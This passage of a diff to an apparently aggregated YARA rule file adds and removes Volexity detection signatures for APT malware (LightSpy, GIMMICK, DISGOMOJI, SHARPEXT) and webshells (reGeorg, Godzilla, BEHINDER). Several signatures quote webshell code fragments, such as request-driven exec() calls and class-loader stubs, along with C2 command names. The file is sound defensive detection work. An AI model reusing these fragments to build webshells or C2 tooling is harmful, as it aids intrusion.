"[WsClient][Info]:Ws" + $s5 = "WsClient Worker Thread ID=%d" + $s6 = "[LightWebClient]:" + $s7 = "LightHttpGet err:%s" + $s8 = "User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.145 Safari/537.36" + $s9 = "KvList Err:%s" + $s10 = "dataMultiPart malloc err:%d" + $ctrl1 = "CTRL_HEART_BEAT" + $ctrl2 = "CTRL_NET_CONFIG" + $ctrl3 = "CTRL_COMMAND_PLAN" + $ctrl4 = "CTRL_MODIFY_NET_CONFIG" + $ctrl5 = "CTRL_UPLOAD_PLUGIN_STATUS" + $ctrl6 = "CTRL_PLUGIN_EXECUTE_COMMAND" + $ctrl7 = "CTRL_PLUGIN_COMMAND_STATUS" + $ctrl8 = "CTRL_PLUGIN_STOP_COMMAND" + $ctrl9 = "CTRL_GET_SLEEP_CONFIG" + $ctrl10 = "CTRL_MODIFY_SLEEP_CONFIG" + $ctrl11 = "CTRL_SLEEP_STATUS" + $ctrl12 = "CTRL_UPDATE_PLUGIN" + $ctrl13 = "CTRL_DESTROY" + $ctrl14 = "CTRL_RECONFIG_REBOUNT_ADDRESS" + $ctrl15 = "CTRL_AUTO_UPLOUD_FILE_CONFIG" + $ctrl16 = "CTRL_UPLOUD_DEVICE_INFO" + $ctrl17 = "CTRL_TEST_VPDN_ACCOUNT" condition: - $s1 + 3 of ( $s* ) or 5 of ( $ctrl* ) } rule VOLEXITY_Apt_Malware_Any_Reloadext_Plugin : STORMBAMBOO FILE MEMORY { @@ -162446,64 +162900,6 @@ rule VOLEXITY_Apt_Malware_Any_Macma_A : STORMBAMBOO FILE MEMORY condition: any of ( $magic* ) or 7 of ( $s* ) } -rule VOLEXITY_Apt_Malware_Macos_Gimmick : STORMBAMBOO FILE MEMORY -{ - meta: - description = "Detects the macOS port of the GIMMICK malware." - author = "threatintel@volexity.com" - id = "3d485788-4aab-511b-a49e-5dc09d1950a9" - date = "2021-10-18" - modified = "2024-08-02" - reference = "https://www.volexity.com/blog/2022/03/22/storm-cloud-on-the-horizon-gimmick-malware-strikes-at-macos/" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-08-02 StormBamboo/rules.yar#L112-L170" - license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "00fba9df2212874a45d44b3d098a7b76c97fcd53ff083c76b784d2b510a4a467" - score = 75 - quality = 78 - tags = "STORMBAMBOO, FILE, MEMORY" - hash1 = "2a9296ac999e78f6c0bee8aca8bfa4d4638aa30d9c8ccc65124b1cbfc9caab5f" - os = "darwin" - os_arch = "all" - scan_context = "file,memory" - severity = "critical" - license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - rule_id = 6022 - version = 8 - - strings: - $s1 = "http://cgi1.apnic.net/cgi-bin/my-ip.php --connect-timeout 10 -m 20" wide ascii - $json1 = "base_json" ascii wide - $json2 = "down_json" ascii wide - $json3 = "upload_json" ascii wide - $json4 = "termin_json" ascii wide - $json5 = "request_json" ascii wide - $json6 = "online_json" ascii wide - $json7 = "work_json" ascii wide - $msg1 = "bash_pid: %d, FDS_CHILD: %d, FDS_PARENT: %d" ascii wide - $msg2 = "pid %d is dead" ascii wide - $msg3 = "exit with code %d" ascii wide - $msg4 = "recv signal %d" ascii wide - $cmd1 = "ReadCmdQueue" ascii wide - $cmd2 = "read_cmd_server_timer" ascii wide - $cmd3 = "enableProxys" ascii wide - $cmd4 = "result_block" ascii wide - $cmd5 = "createDirLock" ascii wide - $cmd6 = "proxyLock" ascii wide - $cmd7 = "createDirTmpItem" ascii wide - $cmd8 = "dowfileLock" ascii wide - $cmd9 = "downFileTmpItem" ascii wide - $cmd10 = "filePathTmpItem" ascii wide - $cmd11 = "uploadItems" ascii wide - $cmd12 = "downItems" ascii wide - $cmd13 = "failUploadItems" ascii wide - $cmd14 = "failDownItems" ascii wide - $cmd15 = "downloadCmds" ascii wide - $cmd16 = "uploadFiles" ascii wide - $cmd17 = "bash callback...." ascii wide - - condition: - $s1 or 5 of ( $json* ) or 3 of ( $msg* ) or 9 of ( $cmd* ) -} rule VOLEXITY_Apt_Malware_Win_Dustpan_Apihashes : STORMBAMBOO FILE { meta: @@ -162689,900 +163085,451 @@ rule VOLEXITY_Apt_Malware_Elf_Catchdns_Aug20_Memory : DRIFTINGBAMBOO FILE MEMORY $netw11 = "configfile" ascii wide $apache = "HTTP/1.1 200 OK\r\nServer: Apache\r\nConnection: close\r\nContent-Type: %s\r\nContent-Length: %d\r\n" $cpp1 = "src/os.cpp" - $cpp2 = "src/test_catch_dns.cpp" - - condition: - 9 of ( $os* ) or 3 of ( $msg* ) or all of ( $conf* ) or all of ( $netw* ) or $apache or all of ( $cpp* ) -} -rule VOLEXITY_Apt_Webshell_Pl_Complyshell : UTA0178 FILE MEMORY -{ - meta: - description = "Detection for the COMPLYSHELL webshell." - author = "threatintel@volexity.com" - id = "6b44b5bc-a75f-573c-b9c3-562b7874e408" - date = "2023-12-13" - modified = "2024-01-12" - reference = "TIB-20231215" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-01-10 Ivanti Connect Secure/indicators/yara.yar#L3-L25" - license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "ff46691f1add20cff30fe996e2fb199ce42408e86d5642a8a43c430f2245b1f5" - score = 75 - quality = 80 - tags = "UTA0178, FILE, MEMORY" - hash1 = "8bc8f4da98ee05c9d403d2cb76097818de0b524d90bea8ed846615e42cb031d2" - os = "linux" - os_arch = "all" - scan_context = "file,memory" - severity = "critical" - license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - rule_id = 9995 - version = 4 - - strings: - $s = "eval{my $c=Crypt::RC4->new(" - - condition: - $s -} - -rule VOLEXITY_Apt_Webshell_Aspx_Glasstoken : UTA0178 FILE MEMORY -{ - meta: - description = "Detection for a custom webshell seen on Exchange server. The webshell contains two functions, the first is to act as a Tunnel, using code borrowed from reGeorg, the second is custom code to execute arbitrary .NET code." - author = "threatintel@volexity.com" - id = "2f07748a-a52f-5ac7-9d3e-50fd3ecea271" - date = "2023-12-12" - modified = "2024-09-30" - reference = "TIB-20231215" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-01-10 Ivanti Connect Secure/indicators/yara.yar#L26-L52" - license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "6b8183ac1e87a86c58760db51f767ed278cc0c838ed89e7435af7d0373e58b26" - score = 75 - quality = 30 - tags = "UTA0178, FILE, MEMORY" - hash1 = "26cbb54b1feb75fe008e36285334d747428f80aacdb57badf294e597f3e9430d" - os = "win" - os_arch = "all" - scan_context = "file,memory" - severity = "critical" - license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - rule_id = 9994 - version = 6 - - strings: - $s1 = "=Convert.FromBase64String(System.Text.Encoding.Default.GetString(" ascii - $re = /Assembly\.Load\(errors\)\.CreateInstance\("[a-z0-9A-Z]{4,12}"\).GetHashCode\(\);/ - - condition: - for any i in ( 0 .. math.min ( #s1 , 100 ) ) : ( $re in ( @s1 [ i ] .. @s1 [ i ] + 512 ) ) -} -rule VOLEXITY_Webshell_Aspx_Regeorg : FILE MEMORY -{ - meta: - description = "Detects the reGeorg webshell based on common strings in the webshell. May also detect other webshells which borrow code from ReGeorg." - author = "threatintel@volexity.com" - id = "02365a30-769e-5c47-8d36-a79608ffd121" - date = "2018-08-29" - modified = "2024-01-09" - reference = "TIB-20231215" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-01-10 Ivanti Connect Secure/indicators/yara.yar#L53-L86" - license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - hash = "9d901f1a494ffa98d967ee6ee30a46402c12a807ce425d5f51252eb69941d988" - logic_hash = "4fed023e85a32052917f6db1e2e155c91586538938c03acc59f200a8264888ca" - score = 75 - quality = 80 - tags = "FILE, MEMORY" - os = "win" - os_arch = "all" - scan_context = "file,memory" - severity = "critical" - license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - rule_id = 410 - version = 7 - - strings: - $a1 = "every office needs a tool like Georg" ascii - $a2 = "cmd = Request.QueryString.Get(\"cmd\")" ascii - $a3 = "exKak.Message" ascii - $proxy1 = "if (rkey != \"Content-Length\" && rkey != \"Transfer-Encoding\")" - $proxy_b1 = "StreamReader repBody = new StreamReader(response.GetResponseStream(), Encoding.GetEncoding(\"UTF-8\"));" ascii - $proxy_b2 = "string rbody = repBody.ReadToEnd();" ascii - $proxy_b3 = "Response.AddHeader(\"Content-Length\", rbody.Length.ToString());" ascii - - condition: - any of ( $a* ) or $proxy1 or all of ( $proxy_b* ) -} -rule VOLEXITY_Hacktool_Py_Pysoxy : FILE MEMORY -{ - meta: - description = "SOCKS5 proxy tool used to relay connections." - author = "threatintel@volexity.com" - id = "88094b55-784d-5245-9c40-b1eebf0e6e72" - date = "2024-01-09" - modified = "2024-01-09" - reference = "TIB-20240109" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-01-10 Ivanti Connect Secure/indicators/yara.yar#L87-L114" - license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "f73e9d3c2f64c013218469209f3b69fc868efafc151a7de979dde089bfdb24b2" - score = 75 - quality = 80 - tags = "FILE, MEMORY" - hash1 = "e192932d834292478c9b1032543c53edfc2b252fdf7e27e4c438f4b249544eeb" - os = "all" - os_arch = "all" - scan_context = "file,memory" - severity = "critical" - license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - rule_id = 10065 - version = 3 - - strings: - $s1 = "proxy_loop" ascii - $s2 = "connect_to_dst" ascii - $s3 = "request_client" ascii - $s4 = "subnegotiation_client" ascii - $s5 = "bind_port" ascii - - condition: - all of them -} -rule VOLEXITY_Apt_Malware_Win_Deepdata_Module : BRAZENBAMBOO FILE MEMORY -{ - meta: - description = "Detects modules used by DEEPDATA based on the required export names used by those modules." - author = "threatintel@volexity.com" - id = "1287f5dd-9229-57ce-a91a-73d61041df80" - date = "2024-07-30" - modified = "2024-11-14" - reference = "https://github.com/volexity/threat-intel" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-11-15 BrazenBamboo/rules.yar#L1-L25" - license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "d36f34343826daf7f7368118c7127c7181a54c99a01803016c9a6965abb309cb" - score = 75 - quality = 80 - tags = "BRAZENBAMBOO, FILE, MEMORY" - hash1 = "c782346bf9e5c08a0c43a85d4991f26b0b3c99c054fa83beb4a9e406906f011e" - os = "win" - os_arch = "all" - scan_context = "file,memory" - severity = "critical" - license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - rule_id = 10868 - version = 2 - - strings: - $str1 = "ExecuteCommand" - $str2 = "GetPluginCommandID" - $str3 = "GetPluginName" - $str4 = "GetPluginVersion" - - condition: - all of them -} -rule VOLEXITY_Apt_Malware_Win_Lightspy_Orchestrator_Decoded_Core : BRAZENBAMBOO FILE MEMORY -{ - meta: - description = "Detects the decoded orchestrator for the Windows variant of the LightSpy malware family. This file is normally stored in an encoded state on the C2 server and is used as the core component of this malware family, loading additional plugins from the C2 whilst managing all the C2 communication etc." - author = "threatintel@volexity.com" - id = "44f8d7a4-7f48-5960-91a7-baf475f7d291" - date = "2024-02-15" - modified = "2024-07-03" - reference = "https://github.com/volexity/threat-intel" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-11-15 BrazenBamboo/rules.yar#L244-L287" - license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "f0189c0a84c53e365130e9683f2f2b2f73c14412d8e4d0251a4780d0e80162d8" - score = 75 - quality = 78 - tags = "BRAZENBAMBOO, FILE, MEMORY" - hash1 = "80c0cdb1db961c76de7e4efb6aced8a52cd0e34178660ef34c128be5f0d587df" - os = "win" - os_arch = "all" - scan_context = "file,memory" - severity = "critical" - license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - rule_id = 10246 - version = 2 - - strings: - $s1 = "Enter RunWork......." - $s2 = "it's running......." - $s3 = "select ret = socket_error." - $s4 = "%s\\\\account.bin" - $s5 = "[CtrlLink]: get machine sn err:%d" - $s6 = "wmic path Win32_VideoController get CurrentHorizontalResolution,CurrentVerticalResolution /format:list | findstr /v \\\"^$\\\"" - $s7 = "wmic csproduct get vendor,version /format:list | findstr /v \\\"^$\\\"" - $s8 = "local ip get sockname error=%d" - $s9 = "connect goole dns error=%d" - $s10 = "%s/api/terminal/upsert/" - $s11 = "/963852741/windows/plugin/manifest" - $s12 = "Hello deepdata." - $s13 = "Start Light." - $s14 = "InitialPluginManager Error." - $s15 = "InitialCommandExe Error." - $s16 = "ws open, and send logon info." - $s17 = "plugin_replay_handler" - $s18 = "light_x86.dll" - $pdb1 = "\\light\\bin\\light_x86.pdb" - $pdb2 = "\\light\\bin\\plugin" - $pdb3 = "D:\\tmpWork\\" - - condition: - 1 of ( $pdb* ) or 5 of ( $s* ) -} -rule VOLEXITY_Apt_Malware_Win_Lightspy_Orchestrator_Decoded_C2_Strings : BRAZENBAMBOO FILE MEMORY -{ - meta: - description = "Detects the decoded orchestrator for the Windows variant of the LightSpy malware family. This file is normally stored in an encoded state on the C2 server and is used as the core component of this malware family, loading additional plugins from the C2 whilst managing all the C2 communication etc." - author = "threatintel@volexity.com" - id = "a0af8fb7-13a3-54e8-8569-e8622fa80d89" - date = "2024-02-15" - modified = "2024-11-14" - reference = "https://github.com/volexity/threat-intel" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-11-15 BrazenBamboo/rules.yar#L288-L337" - license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "eeaaf6e16d4854a2279bd62596f75cb8b8ec1b05f3b050f5dac97254704b9005" - score = 75 - quality = 78 - tags = "BRAZENBAMBOO, FILE, MEMORY" - hash1 = "80c0cdb1db961c76de7e4efb6aced8a52cd0e34178660ef34c128be5f0d587df" - os = "win" - os_arch = "all" - scan_context = "file,memory" - severity = "critical" - license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - rule_id = 10245 - version = 4 - - strings: - $s1 = "[WsClient][Error]:" - $s2 = "[WsClient][Info]:" - $s3 = "[WsClient]:WsClient" - $s4 = "[WsClient][Info]:Ws" - $s5 = "WsClient Worker Thread ID=%d" - $s6 = "[LightWebClient]:" - $s7 = "LightHttpGet err:%s" - $s8 = "User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.145 Safari/537.36" - $s9 = "KvList Err:%s" - $s10 = "dataMultiPart malloc err:%d" - $ctrl1 = "CTRL_HEART_BEAT" - $ctrl2 = "CTRL_NET_CONFIG" - $ctrl3 = "CTRL_COMMAND_PLAN" - $ctrl4 = "CTRL_MODIFY_NET_CONFIG" - $ctrl5 = "CTRL_UPLOAD_PLUGIN_STATUS" - $ctrl6 = "CTRL_PLUGIN_EXECUTE_COMMAND" - $ctrl7 = "CTRL_PLUGIN_COMMAND_STATUS" - $ctrl8 = "CTRL_PLUGIN_STOP_COMMAND" - $ctrl9 = "CTRL_GET_SLEEP_CONFIG" - $ctrl10 = "CTRL_MODIFY_SLEEP_CONFIG" - $ctrl11 = "CTRL_SLEEP_STATUS" - $ctrl12 = "CTRL_UPDATE_PLUGIN" - $ctrl13 = "CTRL_DESTROY" - $ctrl14 = "CTRL_RECONFIG_REBOUNT_ADDRESS" - $ctrl15 = "CTRL_AUTO_UPLOUD_FILE_CONFIG" - $ctrl16 = "CTRL_UPLOUD_DEVICE_INFO" - $ctrl17 = "CTRL_TEST_VPDN_ACCOUNT" - - condition: - 3 of ( $s* ) or 5 of ( $ctrl* ) -} -rule VOLEXITY_Apt_Malware_Js_Sharpext : SHARPPINE FILE MEMORY -{ - meta: - description = "A malicious Chrome browser extension used by the SharpPine threat actor to steal Gmail data from a victim." - author = "threatintel@volexity.com" - id = "61b5176a-ff73-5fce-bc70-c9e09bb5afed" - date = "2021-09-14" - modified = "2025-05-21" - reference = "https://github.com/volexity/threat-intel" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-07-28 SharpTongue SharpTongue Deploys Clever Mail-Stealing Browser Extension SHARPEXT/yara.yar#L1-L52" - license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "0ed58c8646582ee36aeac650fac02d1e4962d45c0f6a24783c021d9267bed192" - score = 75 - quality = 80 - tags = "SHARPPINE, FILE, MEMORY" - hash1 = "1c9664513fe226beb53268b58b11dacc35b80a12c50c22b76382304badf4eb00" - hash2 = "6025c66c2eaae30c0349731beb8a95f8a5ba1180c5481e9a49d474f4e1bb76a4" - hash3 = "6594b75939bcdab4253172f0fa9066c8aee2fa4911bd5a03421aeb7edcd9c90c" - os = "all" - os_arch = "all" - scan_context = "file,memory" - severity = "critical" - license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - rule_id = 5916 - version = 5 - - strings: - $s1 = "\"mode=attach&name=\"" ascii - $s2 = "\"mode=new&mid=\"" ascii - $s3 = "\"mode=attlist\"" ascii - $s4 = "\"mode=list\"" ascii - $s5 = "\"mode=domain\"" ascii - $s6 = "\"mode=black\"" ascii - $s7 = "\"mode=newD&d=\"" ascii - $mark1 = "chrome.runtime.onMessage.addListener" ascii - $mark2 = "chrome.webNavigation.onCompleted.addListener" ascii - $enc1 = "function BSue(string){" ascii - $enc2 = "function BSE(input){" ascii - $enc3 = "function bin2hex(byteArray)" ascii - $xhr1 = ".send(\"mode=cd1" ascii - $xhr2 = ".send(\"mode=black" ascii - $xhr3 = ".send(\"mode=domain" ascii - $xhr4 = ".send(\"mode=list" ascii - $manifest1 = "\"description\":\"advanced font\"," ascii - $manifest2 = "\"scripts\":[\"bg.js\"]" ascii - $manifest3 = "\"devtools_page\":\"dev.html\"" ascii - - condition: - (5 of ( $s* ) and all of ( $mark* ) ) or all of ( $enc* ) or 3 of ( $xhr* ) or 2 of ( $manifest* ) -} -rule VOLEXITY_Webshell_Jsp_Godzilla : FILE MEMORY -{ - meta: - description = "Detects the JSP implementation of the Godzilla Webshell." - author = "threatintel@volexity.com" - id = "47c8eab8-84d7-5566-b757-5a6dcc7579b7" - date = "2021-11-08" - modified = "2024-07-30" - reference = "https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-08-10 Mass exploitation of (Un)authenticated Zimbra RCE CVE-2022-27925/yara.yar#L1-L34" - license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "52cba9545f662da18ca6e07340d7a9be637b89e7ed702dd58cac545c702a00e3" - score = 75 - quality = 55 - tags = "FILE, MEMORY" - hash1 = "2786d2dc738529a34ecde10ffeda69b7f40762bf13e7771451f13a24ab7fc5fe" - os = "win,linux" - os_arch = "all" - scan_context = "file,memory" - severity = "critical" - license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - rule_id = 6100 - version = 6 - - strings: - $s1 = ".getWriter().write(base64Encode(" wide ascii - $s2 = ".getAttribute(" ascii wide - $s3 = "java.security.MessageDigest" ascii wide - $auth1 = /String xc=\"[a-f0-9]{16}\"/ ascii wide - $auth2 = "String pass=\"" ascii wide - $magic = "class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q" - $magic2 = "<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%><%!class" - - condition: - all of ( $s* ) or all of ( $auth* ) or any of ( $magic* ) -} -rule VOLEXITY_Susp_Jsp_General_Runtime_Exec_Req : FILE MEMORY -{ - meta: - description = "Looks for a common design pattern in webshells where a request attribute is passed as an argument to exec()." - author = "threatintel@volexity.com" - id = "7f1539bd-a2f0-50dd-b500-ada4e0971d13" - date = "2022-02-02" - modified = "2024-07-30" - reference = "https://github.com/volexity/threat-intel" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-08-10 Mass exploitation of (Un)authenticated Zimbra RCE CVE-2022-27925/yara.yar#L35-L56" - license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "d3048aba80c1c39f1673931cd2d7c5ed83045603b0ad204073fd788d0103a6c8" - score = 65 - quality = 80 - tags = "FILE, MEMORY" - hash1 = "4935f0c50057e28efa7376c734a4c66018f8d20157b6584399146b6c79a6de15" - os = "win,linux" - os_arch = "all" - scan_context = "file,memory" - severity = "high" - license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - rule_id = 6450 - version = 3 - - strings: - $s1 = "Runtime.getRuntime().exec(request." ascii - - condition: - $s1 -} -rule VOLEXITY_Webshell_Jsp_Regeorg : FILE MEMORY -{ - meta: - description = "Detects the reGeorg webshells' JSP version." - author = "threatintel@volexity.com" - id = "205ee383-4298-5469-a509-4ce3eaf9dd0e" - date = "2022-03-08" - modified = "2024-09-20" - reference = "https://github.com/SecWiki/WebShell-2/blob/master/reGeorg-master/tunnel.jsp" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-08-10 Mass exploitation of (Un)authenticated Zimbra RCE CVE-2022-27925/yara.yar#L57-L86" - license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "cecb71605d9112d509823c26e40e1cf9cd6db581db448db5c9ffc63a2bfe529e" - score = 75 - quality = 80 - tags = "FILE, MEMORY" - hash1 = "f9b20324f4239a8c82042d8207e35776d6777b6305974964cd9ccc09d431b845" - os = "win" - os_arch = "all" - scan_context = "file,memory" - severity = "critical" - license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - rule_id = 6575 - version = 5 - - strings: - $magic = "socketChannel.connect(new InetSocketAddress(target, port))" ascii - $a1 = ".connect(new InetSocketAddress" ascii - $a2 = ".configureBlocking(false)" ascii - $a3 = ".setHeader(" ascii - $a4 = ".getHeader(" ascii - $a5 = ".flip();" ascii + $cpp2 = "src/test_catch_dns.cpp" condition: - $magic or all of ( $a* ) + 9 of ( $os* ) or 3 of ( $msg* ) or all of ( $conf* ) or all of ( $netw* ) or $apache or all of ( $cpp* ) } -rule VOLEXITY_Webshell_Jsp_Converge : FILE MEMORY CVE_2022_26134 +rule VOLEXITY_Apt_Malware_Linux_Disgomoji_Modules : TRANSPARENTJASMINE FILE MEMORY { meta: - description = "Detects CONVERGE - a file upload webshell observed in incident involving compromise of Confluence server via CVE-2022-26134." + description = "Detects DISGOMOJI modules using strings in the ELF." author = "threatintel@volexity.com" - id = "2a74678e-cb00-567c-a2e0-2e095f3e5ee8" - date = "2022-06-01" - modified = "2024-09-20" - reference = "https://github.com/volexity/threat-intel" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-06-02 Active Exploitation Of Confluence 0-day/indicators/yara.yar#L1-L21" + id = "b9e4ecdc-9b02-546f-9b79-947cb6b1f99a" + date = "2024-02-22" + modified = "2024-07-05" + reference = "TIB-20240229" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L1-L24" license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "bb48516342eddd48c35e6db0eb74f95e116dc723503552b99ba721b5bdb391e5" + logic_hash = "7880288e3230b688b780bdfbac2b0761fd7831b7df233672c2242c21a86e1297" score = 75 quality = 80 - tags = "FILE, MEMORY, CVE-2022-26134" - os = "all" + tags = "TRANSPARENTJASMINE, FILE, MEMORY" + hash1 = "2abaae4f6794131108adf5b42e09ee5ce24769431a0e154feabe6052cfe70bf3" + os = "linux" os_arch = "all" scan_context = "file,memory" severity = "critical" license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - rule_id = 6788 - version = 5 + rule_id = 10270 + version = 6 strings: - $s1 = "if (request.getParameter(\"name\")!=null && request.getParameter(\"name\").length()!=0){" ascii + $s1 = "discord-c2/test/main/finalizing/Deliveries/ob_Delivery.go" wide ascii + $s2 = "discord-c2/test/main/finalizing/WAN_Conf.go" wide ascii condition: - $s1 + any of them } -rule VOLEXITY_Webshell_Java_Realcmd : FILE MEMORY +rule VOLEXITY_Apt_Malware_Linux_Disgomoji_Loader : TRANSPARENTJASMINE FILE MEMORY { meta: - description = "Detects the RealCMD webshell, one of the payloads for BEHINDER." + description = "Detects DISGOMOJI loader using strings in the ELF." author = "threatintel@volexity.com" - id = "60b30ccc-bcfa-51e6-a3f5-88037d19213e" - date = "2022-06-01" - modified = "2024-07-30" - reference = "https://github.com/Freakboy/Behinder/blob/master/src/main/java/vip/youwe/sheller/payload/java/RealCMD.java" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-06-02 Active Exploitation Of Confluence 0-day/indicators/yara.yar#L61-L84" + id = "6d7848db-f1a5-5ccc-977a-7597b966a31c" + date = "2024-02-22" + modified = "2024-07-05" + reference = "TIB-20240229" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L25-L47" license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "e09f2a23674fd73296dd4d1fabf1a2c812bfe69ff02abc96a4be35af6a18e512" + logic_hash = "d9be4846bab5fffcfd60eaec377443819404f30ec088905c2ee26bd3b7525832" score = 75 quality = 80 - tags = "FILE, MEMORY" - hash1 = "a9a30455d6f3a0a8cd0274ae954aa41674b6fd52877fafc84a9cb833fd8858f6" - os = "all" + tags = "TRANSPARENTJASMINE, FILE, MEMORY" + hash1 = "51a372fee89f885741515fa6fdf0ebce860f98145c9883f2e3e35c0fe4432885" + os = "linux" os_arch = "all" scan_context = "file,memory" severity = "critical" license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - rule_id = 6786 - version = 4 + rule_id = 10269 + version = 7 strings: - $fn1 = "runCmd" wide ascii fullword - $fn2 = "RealCMD" ascii wide fullword - $fn3 = "buildJson" ascii wide fullword + $s1 = "discord-c2/test/main/delievery.go" wide ascii condition: - all of ( $fn* ) + $s1 } -rule VOLEXITY_Apt_Malware_Win_Gimmick_Dotnet_Base : STORMBAMBOO FILE MEMORY +rule VOLEXITY_Apt_Malware_Linux_Disgomoji_Debug_String : TRANSPARENTJASMINE FILE MEMORY { meta: - description = "Detects the base version of GIMMICK written in .NET." + description = "Detects DISGOMOJI using strings in the ELF." author = "threatintel@volexity.com" - id = "be42d85f-3143-51d3-b148-95d0ae666771" - date = "2020-03-16" - modified = "2024-08-19" - reference = "https://github.com/volexity/threat-intel" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-03-22 GIMMICK/indicators/yara.yar#L60-L86" + id = "eed2468f-7e50-5f3e-946a-277c10984823" + date = "2024-02-22" + modified = "2024-11-27" + reference = "TIB-20240229" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L48-L71" license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "39a38ea189d5e840f9334cb7ec8f390444139b39c6f426906a8845f9a1ada9f7" + logic_hash = "6bb130eead39bd8128983e0f2e76cfeff8865ce8ed3cb73b132ed32d68fc0db0" score = 75 quality = 80 - tags = "STORMBAMBOO, FILE, MEMORY" - hash1 = "b554bfe4c2da7d0ac42d1b4f28f4aae854331fd6d2b3af22af961f6919740234" - os = "win" - os_arch = "all" - scan_context = "file,memory" - severity = "critical" - license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - rule_id = 6628 - version = 3 - - strings: - $other1 = "srcStr is null" wide - $other2 = "srcBs is null " wide - $other3 = "Key cannot be null" wide - $other4 = "Faild to get target constructor, targetType=" wide - $other5 = "hexMoudule(public key) cannot be null or empty." wide - $other6 = "https://oauth2.googleapis.com/token" wide - - condition: - 5 of ( $other* ) -} -rule VOLEXITY_Webshell_Java_Behinder_Shellservice : FILE MEMORY 